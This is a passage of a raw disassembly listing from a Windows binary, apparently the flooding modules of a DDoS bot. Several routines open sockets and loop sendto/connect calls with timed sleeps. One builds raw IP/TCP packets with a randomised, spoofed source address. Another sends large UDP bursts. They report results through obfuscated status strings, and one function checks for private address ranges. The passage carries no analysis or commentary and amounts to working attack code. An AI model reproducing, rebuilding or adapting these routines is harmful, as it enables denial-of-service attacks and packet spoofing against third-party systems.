		call	sub_429B9C
		mov	ecx, [ebp+var_4]
		mov	[edi+ecx], al
		inc	edi
		cmp	edi, 32h
		jb	short loc_41DC2D
		lea	eax, [ebp+var_20]
		push	10h
		xor	edi, edi
		push	eax
		push	edi
		push	32h
		push	ecx
		push	esi
		call	dword_437294	; sendto
		push	esi
		call	ebx ; dword_4372D8
		cmp	[ebp+arg_0], 32h
		jb	short loc_41DC70
		push	edi
		call	sub_42A7D5
		mov	edx, [ebp+var_10]
		pop	ecx
		mov	ecx, [ebp+var_38]
		add	ecx, edx
		cmp	eax, ecx
		jge	short loc_41DC96
		mov	[ebp+arg_0], edi


loc_41DC70:				; CODE XREF: sub_41DB6B+EDj
		push	[ebp+var_40]
		inc	[ebp+arg_0]
		call	dword_437190	; Sleep
		jmp	loc_41DBF4
; ---------------------------------------------------------------------------


loc_41DC81:				; CODE XREF: sub_41DB6B+A9j
		push	esi
		call	ebx ; dword_4372D8
		push	[ebp+var_34]
		call	sub_423623
		pop	ecx


loc_41DC8D:				; CODE XREF: sub_41DB6B+4Bj
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_41DC96:				; CODE XREF: sub_41DB6B+100j
		cmp	[ebp+var_2C], 0
		mov	ebx, offset aAsqfy_k1uah0 ; "AsQfy.K1uah0"
		mov	edi, offset aYhzck13caog0 ; "YhzCK13CaOG0"
		mov	esi, offset aSSS_2 ; "%s %s -> %s"
		jnz	short loc_41DCCD
		cmp	[ebp+var_30], 0
		jnz	short loc_41DCD3
		lea	eax, [ebp+var_C8]
		push	eax
		push	ebx
		push	edi
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	[ebp+var_8]
		call	sub_41CE4A
		add	esp, 18h


loc_41DCCD:				; CODE XREF: sub_41DB6B+13Ej
		cmp	[ebp+var_30], 0
		jz	short loc_41DCEF


loc_41DCD3:				; CODE XREF: sub_41DB6B+144j
		lea	eax, [ebp+var_C8]
		push	eax
		push	ebx
		push	edi
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	[ebp+var_8]
		call	sub_41CDD4
		add	esp, 18h


loc_41DCEF:				; CODE XREF: sub_41DB6B+166j
		push	[ebp+var_4]
		call	sub_4298F2
		push	[ebp+var_34]
		call	sub_423623
		pop	ecx
		pop	ecx
		push	0
		call	dword_437174	; ExitThread
sub_41DB6B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DD09	proc near		; DATA XREF: sub_40A9FE+71DFo

var_14C		= dword	ptr -14Ch
var_144		= byte ptr -144h
var_C4		= byte ptr -0C4h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ch
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		rep movsd
		mov	dword ptr [eax+12Ch], 1
		mov	eax, [ebp+var_14C]
		xor	ebx, ebx
		mov	[ebp+var_4], eax
		push	ebx
		mov	[ebp+arg_0], ebx
		call	sub_42A7D5
		mov	[ebp+var_8], eax
		push	10h
		lea	eax, [ebp+var_1C]
		push	ebx
		push	eax
		call	sub_429760
		add	esp, 10h
		lea	eax, [ebp+var_C4]
		push	eax
		call	dword_4372C0	; inet_addr
		push	[ebp+var_38]
		mov	[ebp+var_18], eax
		mov	[ebp+var_1C], 2
		call	dword_4372C4	; ntohs
		mov	edi, dword_4372D8
		mov	[ebp+var_1A], ax


loc_41DD7E:				; CODE XREF: sub_41DD09+E4j
		cmp	[ebp+var_38], ebx
		jnz	short loc_41DD8C
		call	sub_429B9C
		mov	[ebp+var_1A], ax


loc_41DD8C:				; CODE XREF: sub_41DD09+78j
		push	6
		push	1
		push	2
		call	dword_4372BC	; socket
		mov	esi, eax
		cmp	esi, ebx
		jl	short loc_41DDEF
		lea	eax, [ebp+var_C]
		mov	[ebp+var_C], 4
		push	eax
		push	8004667Eh
		push	esi
		call	dword_437290	; ioctlsocket
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_4372CC	; connect
		push	esi
		call	edi ; dword_4372D8
		cmp	[ebp+arg_0], 32h
		jl	short loc_41DDE1
		push	ebx
		call	sub_42A7D5
		mov	edx, [ebp+var_8]
		pop	ecx
		mov	ecx, [ebp+var_34]
		add	ecx, edx
		cmp	eax, ecx
		jge	short loc_41DE04
		mov	[ebp+arg_0], ebx


loc_41DDE1:				; CODE XREF: sub_41DD09+C0j
		push	[ebp+var_3C]
		inc	[ebp+arg_0]
		call	dword_437190	; Sleep
		jmp	short loc_41DD7E
; ---------------------------------------------------------------------------


loc_41DDEF:				; CODE XREF: sub_41DD09+93j
		push	esi
		call	edi ; dword_4372D8
		push	[ebp+var_30]
		call	sub_423623
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_41DE04:				; CODE XREF: sub_41DD09+D3j
		cmp	[ebp+var_28], 0
		mov	ebx, offset aAsqfy_k1uah0 ; "AsQfy.K1uah0"
		mov	edi, offset aYhzck13caog0 ; "YhzCK13CaOG0"
		mov	esi, offset aSSS_2 ; "%s %s -> %s"
		jnz	short loc_41DE3B
		cmp	[ebp+var_2C], 0
		jnz	short loc_41DE41
		lea	eax, [ebp+var_C4]
		push	eax
		push	ebx
		push	edi
		lea	eax, [ebp+var_144]
		push	esi
		push	eax
		push	[ebp+var_4]
		call	sub_41CE4A
		add	esp, 18h


loc_41DE3B:				; CODE XREF: sub_41DD09+10Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_41DE5D


loc_41DE41:				; CODE XREF: sub_41DD09+114j
		lea	eax, [ebp+var_C4]
		push	eax
		push	ebx
		push	edi
		lea	eax, [ebp+var_144]
		push	esi
		push	eax
		push	[ebp+var_4]
		call	sub_41CDD4
		add	esp, 18h


loc_41DE5D:				; CODE XREF: sub_41DD09+136j
		push	[ebp+var_30]
		call	sub_423623
		pop	ecx
		push	0
		call	dword_437174	; ExitThread
sub_41DD09	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DE6E	proc near		; DATA XREF: sub_40A9FE+738Ao

var_248		= dword	ptr -248h
var_240		= byte ptr -240h
var_1C0		= byte ptr -1C0h
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_118		= dword	ptr -118h
var_114		= dword	ptr -114h
var_110		= byte ptr -110h
var_10F		= byte ptr -10Fh
var_10E		= word ptr -10Eh
var_10C		= byte ptr -10Ch
var_E0		= byte ptr -0E0h
var_CC		= word ptr -0CCh
var_CA		= word ptr -0CAh
var_C8		= dword	ptr -0C8h
var_BC		= dword	ptr -0BCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= byte ptr -68h
var_66		= word ptr -66h
var_64		= word ptr -64h
var_62		= word ptr -62h
var_60		= byte ptr -60h
var_5F		= byte ptr -5Fh
var_5E		= word ptr -5Eh
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= word ptr -54h
var_52		= word ptr -52h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= word ptr -48h
var_46		= word ptr -46h
var_42		= word ptr -42h
var_40		= word ptr -40h
var_3E		= word ptr -3Eh
var_3C		= word ptr -3Ch
var_3A		= word ptr -3Ah
var_38		= word ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_2E		= word ptr -2Eh
var_2C		= word ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= byte ptr -28h
var_1F		= byte ptr -1Fh
var_1E		= byte ptr -1Eh
var_1D		= byte ptr -1Dh
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ch
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_248]
		rep movsd
		xor	ecx, ecx
		push	2
		inc	ecx
		pop	edx
		mov	[eax+12Ch], ecx
		mov	eax, [ebp+var_248]
		push	4
		mov	[ebp+var_4], eax
		pop	eax
		xor	ebx, ebx
		push	3
		mov	[ebp+var_BC], edx
		pop	esi
		mov	[ebp+var_B8], eax
		push	ebx
		mov	[ebp+var_B4], 5
		mov	[ebp+var_B0], 0B4h
		mov	[ebp+var_AC], eax
		mov	[ebp+var_A8], edx
		mov	[ebp+var_A4], 8
		mov	[ebp+var_A0], 0Ah
		mov	[ebp+var_9C], ebx
		mov	[ebp+var_98], ebx
		mov	[ebp+var_94], ebx
		mov	[ebp+var_90], ebx
		mov	[ebp+var_8C], ebx
		mov	[ebp+var_88], ebx
		mov	[ebp+var_84], ebx
		mov	[ebp+var_80], ebx
		mov	[ebp+var_7C], ecx
		mov	[ebp+var_78], esi
		mov	[ebp+var_74], esi
		mov	[ebp+var_70], ebx
		mov	[ebp+arg_0], ebx
		call	sub_42A7D5
		mov	[ebp+var_14], eax
		pop	ecx
		lea	eax, [ebp+var_1C0]
		push	eax
		call	dword_4372A4	; gethostbyname
		mov	eax, [eax+0Ch]
		push	0FFh
		push	esi
		push	2
		mov	eax, [eax]
		mov	edi, [eax]
		call	dword_4372BC	; socket
		cmp	eax, ebx
		mov	[ebp+var_C], eax
		jge	short loc_41DFD5
		cmp	[ebp+var_124], ebx
		mov	edi, dword_437170
		mov	esi, offset aYhzck13caog0 ; "YhzCK13CaOG0"
		jnz	short loc_41DF91
		cmp	[ebp+var_128], ebx
		jnz	short loc_41DF99
		call	edi ; dword_437170
		push	eax
		push	offset aVv3aj1ywfkc_xz ; "VV3AJ1ywFkC.XzinP/s/R0A."
		push	esi
		lea	eax, [ebp+var_240]
		push	offset aSSD	; "%s %s <%d>"
		push	eax
		push	[ebp+var_4]
		call	sub_41CE4A
		add	esp, 18h


loc_41DF91:				; CODE XREF: sub_41DE6E+F9j
		cmp	[ebp+var_128], ebx
		jz	short loc_41DFB9


loc_41DF99:				; CODE XREF: sub_41DE6E+101j
		call	edi ; dword_437170
		push	eax
		push	offset aVv3aj1ywfkc_xz ; "VV3AJ1ywFkC.XzinP/s/R0A."
		push	esi
		lea	eax, [ebp+var_240]
		push	offset aSSD	; "%s %s <%d>"
		push	eax
		push	[ebp+var_4]
		call	sub_41CDD4
		add	esp, 18h


loc_41DFB9:				; CODE XREF: sub_41DE6E+129j
		push	[ebp+var_C]
		call	dword_4372D8	; closesocket
		push	[ebp+var_12C]
		call	sub_423623
		pop	ecx
		push	ebx
		call	dword_437174	; ExitThread


loc_41DFD5:				; CODE XREF: sub_41DE6E+E6j
		xor	eax, eax


loc_41DFD7:				; CODE XREF: sub_41DE6E+178j
		mov	cl, byte ptr [ebp+eax*4+var_BC]
		mov	[ebp+eax+var_28], cl
		inc	eax
		cmp	eax, 14h
		jl	short loc_41DFD7
		mov	eax, [ebp+var_6C]
		push	[ebp+var_134]
		mov	esi, dword_4372C4
		and	al, 45h
		or	al, 45h
		mov	[ebp+var_68], 10h
		mov	[ebp+var_6C], eax
		mov	[ebp+var_62], 40h
		mov	[ebp+var_60], 40h
		mov	[ebp+var_5F], 6
		mov	[ebp+var_4C], ebx
		mov	[ebp+var_46], 0Ah
		mov	[ebp+var_48], bx
		mov	[ebp+var_32], bx
		mov	[ebp+var_34], bx
		mov	[ebp+var_38], bx
		mov	[ebp+var_3A], bx
		mov	[ebp+var_3C], bx
		mov	[ebp+var_3E], bx
		mov	[ebp+var_42], bx
		mov	[ebp+var_40], 1
		mov	[ebp+var_2E], 787Dh
		mov	[ebp+var_2A], bx
		call	esi ; dword_4372C4
		movzx	eax, ax
		mov	[ebp+var_8], eax


loc_41E051:				; CODE XREF: sub_41DE6E+351j
		call	sub_429B9C
		cdq
		mov	ecx, 0FFh
		and	edi, 0FFFFFFh
		idiv	ecx
		shl	edx, 18h
		or	edi, edx
		cmp	[ebp+var_134], ebx
		jnz	short loc_41E079
		call	sub_429B9C
		mov	[ebp+var_8], eax


loc_41E079:				; CODE XREF: sub_41DE6E+201j
		push	3Ch
		call	esi ; dword_4372C4
		mov	[ebp+var_66], ax
		call	sub_429B9C
		mov	[ebp+var_64], ax
		lea	eax, [ebp+var_1C0]
		push	eax
		mov	[ebp+var_5C], edi
		call	sub_41E3EC
		mov	[ebp+var_58], eax
		mov	[ebp+var_5E], bx
		call	sub_429B9C
		mov	[ebp+var_54], ax
		mov	ax, word ptr [ebp+var_8]
		mov	[ebp+var_52], ax
		call	sub_429B9C
		mov	[ebp+var_50], eax
		mov	ax, word ptr [ebp+var_8]
		mov	[ebp+var_CA], ax
		lea	eax, [ebp+var_1C0]
		push	eax
		mov	[ebp+var_2C], bx
		mov	[ebp+var_CC], 2
		call	sub_41E3EC
		mov	[ebp+var_C8], eax
		lea	eax, [ebp+var_6C]
		push	14h
		push	eax
		call	sub_41E3E8
		mov	[ebp+var_5E], ax
		call	sub_429B9C
		mov	[ebp+var_10], eax
		mov	[ebp+var_1F], al
		mov	al, byte ptr [ebp+var_10+2]
		mov	[ebp+var_1E], ah
		mov	[ebp+var_1D], al
		mov	al, byte ptr [ebp+var_10+3]
		mov	[ebp+var_1C], al
		lea	eax, [ebp+var_1C0]
		push	eax
		mov	[ebp+var_118], edi
		call	sub_41E3EC
		add	esp, 14h
		mov	[ebp+var_114], eax
		mov	[ebp+var_110], bl
		mov	[ebp+var_10F], 6
		push	28h
		call	esi ; dword_4372C4
		mov	[ebp+var_10E], ax
		lea	eax, [ebp+var_10C]
		push	14h
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		call	sub_429420
		lea	eax, [ebp+var_E0]
		push	14h
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_429420
		lea	eax, [ebp+var_118]
		push	34h
		push	eax
		call	sub_41E3E8
		add	esp, 20h
		mov	[ebp+var_2C], ax
		lea	eax, [ebp+var_CC]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_6C]
		push	3Ch
		push	eax
		push	[ebp+var_C]
		call	dword_437294	; sendto
		cmp	[ebp+arg_0], 32h
		jb	short loc_41E1B0
		push	ebx
		call	sub_42A7D5
		mov	edx, [ebp+var_14]
		pop	ecx
		mov	ecx, [ebp+var_130]
		add	ecx, edx
		cmp	eax, ecx
		jge	short loc_41E1C4
		mov	[ebp+arg_0], ebx


loc_41E1B0:				; CODE XREF: sub_41DE6E+327j
		push	[ebp+var_138]
		inc	[ebp+arg_0]
		call	dword_437190	; Sleep
		jmp	loc_41E051
; ---------------------------------------------------------------------------


loc_41E1C4:				; CODE XREF: sub_41DE6E+33Dj
		push	[ebp+var_C]
		call	dword_4372D8	; closesocket
		cmp	[ebp+var_124], ebx
		mov	esi, offset aYhzck13caog0 ; "YhzCK13CaOG0"
		mov	edi, offset aSSS_2 ; "%s %s -> %s"
		jnz	short loc_41E207
		cmp	[ebp+var_128], ebx
		jnz	short loc_41E20F
		lea	eax, [ebp+var_1C0]
		push	eax
		push	offset aAsqfy_k1uah0 ; "AsQfy.K1uah0"
		push	esi
		lea	eax, [ebp+var_240]
		push	edi
		push	eax
		push	[ebp+var_4]
		call	sub_41CE4A
		add	esp, 18h


loc_41E207:				; CODE XREF: sub_41DE6E+36Fj
		cmp	[ebp+var_128], ebx
		jz	short loc_41E22F


loc_41E20F:				; CODE XREF: sub_41DE6E+377j
		lea	eax, [ebp+var_1C0]
		push	eax
		push	offset aAsqfy_k1uah0 ; "AsQfy.K1uah0"
		push	esi
		lea	eax, [ebp+var_240]
		push	edi
		push	eax
		push	[ebp+var_4]
		call	sub_41CDD4
		add	esp, 18h


loc_41E22F:				; CODE XREF: sub_41DE6E+39Fj
		push	[ebp+var_12C]
		call	sub_423623
		pop	ecx
		push	ebx
		call	dword_437174	; ExitThread
sub_41DE6E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E242	proc near		; DATA XREF: sub_40A9FE+74FDo

var_15C		= dword	ptr -15Ch
var_154		= byte ptr -154h
var_D4		= byte ptr -0D4h
var_4C		= dword	ptr -4Ch
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= word ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 15Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ch
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_15C]
		rep movsd
		xor	edi, edi
		mov	ebx, 2400h
		inc	edi
		xor	esi, esi
		mov	[eax+12Ch], edi
		mov	eax, [ebp+var_15C]
		push	ebx
		mov	[ebp+var_10], eax
		mov	[ebp+var_8], edi
		mov	[ebp+arg_0], esi
		call	sub_4297B8
		push	esi
		mov	[ebp+var_14], eax
		call	sub_42A7D5
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_44]
		mov	[ebp+var_1C], eax
		push	10h
		lea	eax, [ebp+var_2C]
		push	esi
		push	eax
		call	sub_429760
		lea	eax, [ebp+var_D4]
		push	eax
		call	sub_41E3EC
		mov	esi, dword_437188
		add	esp, 18h
		mov	[ebp+var_28], eax
		mov	[ebp+var_2C], 2
		call	esi ; dword_437188
		mov	[ebp+var_C], eax
		jmp	short loc_41E345
; ---------------------------------------------------------------------------


loc_41E2C6:				; CODE XREF: sub_41E242+114j
		call	sub_429B9C
		push	11h
		push	2
		push	2
		mov	[ebp+var_2A], ax
		call	dword_4372BC	; socket
		test	eax, eax
		mov	[ebp+var_4], eax
		jl	loc_41E3CF
		lea	ecx, [ebp+var_8]
		push	4
		push	ecx
		push	8004667Eh
		push	11h
		push	eax
		mov	[ebp+var_8], edi
		call	dword_43728C	; setsockopt
		lea	eax, [ebp+var_2C]
		push	10h
		push	eax
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_4]
		call	dword_437294	; sendto
		push	[ebp+var_4]
		call	sub_42F1A0
		cmp	[ebp+arg_0], 32h
		pop	ecx
		jl	short loc_41E339
		push	0
		call	sub_42A7D5
		mov	edx, [ebp+var_18]
		pop	ecx
		mov	ecx, [ebp+var_1C]
		add	ecx, edx
		cmp	eax, ecx
		jnb	short loc_41E35C
		and	[ebp+arg_0], 0


loc_41E339:				; CODE XREF: sub_41E242+DDj
		push	[ebp+var_4C]
		inc	[ebp+arg_0]
		call	dword_437190	; Sleep


loc_41E345:				; CODE XREF: sub_41E242+82j
		call	esi ; dword_437188
		sub	eax, [ebp+var_C]
		mov	ecx, 3E8h
		xor	edx, edx
		div	ecx
		cmp	eax, [ebp+var_44]
		jbe	loc_41E2C6


loc_41E35C:				; CODE XREF: sub_41E242+F1j
		push	[ebp+var_4]
		call	sub_42F1A0
		cmp	[ebp+var_38], 0
		pop	ecx
		mov	ebx, offset aAsqfy_k1uah0 ; "AsQfy.K1uah0"
		mov	edi, offset aYhzck13caog0 ; "YhzCK13CaOG0"
		mov	esi, offset aSSS_2 ; "%s %s -> %s"
		jnz	short loc_41E39C
		cmp	[ebp+var_3C], 0
		jnz	short loc_41E3A2
		lea	eax, [ebp+var_D4]
		push	eax
		push	ebx
		push	edi
		lea	eax, [ebp+var_154]
		push	esi
		push	eax
		push	[ebp+var_10]
		call	sub_41CE4A
		add	esp, 18h


loc_41E39C:				; CODE XREF: sub_41E242+136j
		cmp	[ebp+var_3C], 0
		jz	short loc_41E3BE


loc_41E3A2:				; CODE XREF: sub_41E242+13Cj
		lea	eax, [ebp+var_D4]
		push	eax
		push	ebx
		push	edi
		lea	eax, [ebp+var_154]
		push	esi
		push	eax
		push	[ebp+var_10]
		call	sub_41CDD4
		add	esp, 18h


loc_41E3BE:				; CODE XREF: sub_41E242+15Ej
		push	[ebp+var_40]
		call	sub_423623
		pop	ecx
		push	0
		call	dword_437174	; ExitThread


loc_41E3CF:				; CODE XREF: sub_41E242+9Ej
		push	eax
		call	dword_4372D8	; closesocket
		push	[ebp+var_40]
		call	sub_423623
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_41E242	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E3E8	proc near		; CODE XREF: sub_41DE6E+27Bp
					; sub_41DE6E+2FEp ...
		xor	ax, ax
		retn
sub_41E3E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E3EC	proc near		; CODE XREF: .text:00403DADp
					; sub_404525+89p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_456F7C	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_41E414
		push	[esp+arg_0]
		call	dword_456FD4	; gethostbyname
		test	eax, eax
		jnz	short loc_41E40D
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41E40D:				; CODE XREF: sub_41E3EC+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_41E414:				; CODE XREF: sub_41E3EC+Dj
		retn
sub_41E3EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E415	proc near		; CODE XREF: sub_4020BA+55p
					; .text:00403E40p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		call	sub_429B9C
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		inc	eax
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	dbl_437340
		call	sub_42A9E0
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41E415	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E446	proc near		; DATA XREF: sub_420D91+4Co

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		push	2
		push	[ebp+arg_0]
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_42777F
		mov	esi, offset a@_6 ; "@"
		push	esi
		push	[ebp+var_4]
		call	sub_429C5E
		push	esi
		push	0
		call	sub_429C5E
		push	eax
		call	sub_41E3EC
		add	esp, 20h
		mov	[ebp+arg_0], eax
		push	eax
		call	dword_456FDC	; inet_ntoa
		push	eax
		push	offset dword_457C40
		call	dword_4370B4	; lstrcpyA
		push	2
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		call	dword_456ED8	; gethostbyaddr
		pop	esi
		test	eax, eax
		push	9Fh
		jz	short loc_41E4AB
		push	dword ptr [eax]
		jmp	short loc_41E4B0
; ---------------------------------------------------------------------------


loc_41E4AB:				; CODE XREF: sub_41E446+5Fj
		push	offset aCouldnTResolve ; "Couldn't resolve"


loc_41E4B0:				; CODE XREF: sub_41E446+63j
		push	offset dword_457C58
		call	sub_429D10
		add	esp, 0Ch
		xor	eax, eax
		leave
		retn
sub_41E446	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E4C1	proc near		; CODE XREF: sub_401B6E+15Ap
					; sub_406429+F1p ...

var_30		= byte ptr -30h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		cmp	[ebp+arg_0], 0
		push	ebx
		push	esi
		push	edi
		jz	loc_41E590
		mov	esi, dword_437178
		push	offset byte_454A54
		push	[ebp+arg_0]
		call	esi ; dword_437178
		test	eax, eax
		jz	loc_41E590
		push	20h
		lea	eax, [ebp+var_30]
		push	[ebp+arg_0]
		push	eax
		call	sub_429D10
		mov	edi, offset dword_43AB8C
		lea	eax, [ebp+var_30]
		push	edi
		push	eax
		call	sub_429C5E
		add	esp, 14h
		mov	[ebp+var_10], eax
		test	eax, eax
		jz	short loc_41E590
		xor	ebx, ebx
		inc	ebx


loc_41E516:				; CODE XREF: sub_41E4C1+6Bj
		push	edi
		push	0
		call	sub_429C5E
		pop	ecx
		mov	[ebp+ebx*4+var_10], eax
		test	eax, eax
		pop	ecx
		jz	short loc_41E590
		inc	ebx
		cmp	ebx, 4
		jl	short loc_41E516
		mov	edi, [ebp+var_10]
		push	offset a10	; "10"
		push	edi
		call	esi ; dword_437178
		test	eax, eax
		jz	short loc_41E58B
		push	offset a172	; "172"
		push	edi
		call	esi ; dword_437178
		test	eax, eax
		jnz	short loc_41E557
		push	offset a16	; "16"
		push	[ebp+var_C]
		call	esi ; dword_437178
		test	eax, eax
		jz	short loc_41E58B


loc_41E557:				; CODE XREF: sub_41E4C1+86j
		push	offset a192	; "192"
		push	edi
		call	esi ; dword_437178
		test	eax, eax
		jnz	short loc_41E571
		push	offset a168	; "168"
		push	[ebp+var_C]
		call	esi ; dword_437178
		test	eax, eax
		jz	short loc_41E58B


loc_41E571:				; CODE XREF: sub_41E4C1+A0j
		push	offset a90	; "90"
		push	edi
		call	esi ; dword_437178
		test	eax, eax
		jnz	short loc_41E590
		push	offset dword_43A30C
		push	[ebp+var_C]
		call	esi ; dword_437178
		test	eax, eax
		jnz	short loc_41E590


loc_41E58B:				; CODE XREF: sub_41E4C1+7Aj
					; sub_41E4C1+94j ...
		xor	eax, eax
		inc	eax
		jmp	short loc_41E592
; ---------------------------------------------------------------------------


loc_41E590:				; CODE XREF: sub_41E4C1+Dj
					; sub_41E4C1+25j ...
		xor	eax, eax


loc_41E592:				; CODE XREF: sub_41E4C1+CDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E4C1	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E597	proc near		; CODE XREF: sub_41E5C7+2Ap
					; sub_41E5FF+59p ...
		mov	eax, dword_4586F4
		push	esi
		mov	esi, dword_437044
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41E5AB
		push	eax
		call	esi ; dword_437044


loc_41E5AB:				; CODE XREF: sub_41E597+Fj
		mov	eax, dword_4586FC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41E5B8
		push	eax
		call	esi ; dword_437044


loc_41E5B8:				; CODE XREF: sub_41E597+1Cj
		mov	eax, dword_4586F0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41E5C5
		push	eax
		call	esi ; dword_437044


loc_41E5C5:				; CODE XREF: sub_41E597+29j
		pop	esi
		retn
sub_41E597	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E5C7	proc near		; CODE XREF: sub_40A9FE+48E4p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_4293A0
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	dword_4586F8
		call	dword_437078	; WriteFile
		test	eax, eax
		jnz	short loc_41E5FA
		call	sub_41E597
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_41E5FA:				; CODE XREF: sub_41E5C7+28j
		xor	eax, eax
		inc	eax
		leave
		retn
sub_41E5C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E5FF	proc near		; CODE XREF: sub_41E661+DBp
					; sub_41E661+FAp ...

var_2710	= byte ptr -2710h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 2710h
		call	sub_429B60
		push	offset byte_454A54
		push	[ebp+arg_0]
		call	dword_4370FC	; lstrcmpA
		test	eax, eax
		jz	short loc_41E641
		push	3E8h
		call	dword_437190	; Sleep
		push	[ebp+arg_8]
		push	offset aS_5	; "%s"
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_41CE4A
		add	esp, 10h
		jmp	short loc_41E65D
; ---------------------------------------------------------------------------


loc_41E641:				; CODE XREF: sub_41E5FF+1Dj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_2710]
		push	offset aS_5	; "%s"
		push	eax
		call	sub_429B03
		add	esp, 0Ch
		call	sub_41E597


